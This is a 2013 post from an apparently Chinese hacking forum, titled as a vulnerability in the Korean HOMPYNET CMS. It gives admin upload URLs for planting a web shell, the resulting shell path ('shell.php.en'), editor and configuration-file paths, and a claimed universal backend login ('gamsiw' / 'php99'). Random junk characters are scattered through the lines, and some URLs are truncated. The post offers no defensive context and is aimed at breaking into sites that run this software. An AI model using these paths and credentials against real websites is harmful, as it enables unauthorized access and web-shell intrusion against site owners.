找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2455|回复: 0
打印 上一主题 下一主题

韩国HOMPYNET CMS漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:12:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上传漏洞  :
9 ^2 }( J' u" x  _6 W
7 c# U0 o" M, _! v) ~http://www.xxx.com/admin/image_a ... p;iname=&iform=2 j5 |: [) ?' L! U" D" ~
) ~+ b: g( b3 N: @" O; O& {
http://www.xxx.com/admin/image_a ... p;iname=&iform=
* i0 X- F/ K1 W3 d# s. Q+ X
( g% R: a  h- V4 w8 P3 }5 B4 s6 ?0 d上传后路径:
, i0 f' O, c0 O: m* c
- R: w9 _& ?) t5 chttp://www.xxx.com/bis_web_page/images/shell.php.en
* G3 e) ~# w: I+ P! u( q) K  Y* _2 k2 R( R5 d& [
编辑器:! b1 Q9 D$ j/ {4 \3 ~. Y3 |% n- L

  s* H+ b' V; Z% }' v( _, ihttp://www.xxx.com/admin/editor/SWE.php, G0 y- F- N$ c6 X

3 U' S( S; U+ x# v2 E; s' C/ ?http://www.xxx.com/program/editor/SWE.php
" Q4 \% s4 e3 C5 U
( u! s! E8 d: Z' T" Q0 r数据配置文件路径:
( M# r" [$ x4 V+ O
1 T1 O( b2 Y0 j+ vhttp://www.xxx.com/m_config/DATA/g_setting.php
% L& i) z( p) D( Q+ _
9 T& ~" v( ~; l& P( C7 X4 d. S此程序通用后台账号 :gamsiw  php99- {! P9 \9 }2 S4 b, T& f

0 h9 M0 [4 _& M7 ^# C  q​
; S/ T9 E) T2 @# L8 s) n
( M8 p! k( l% a* \0 h! W# e7 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表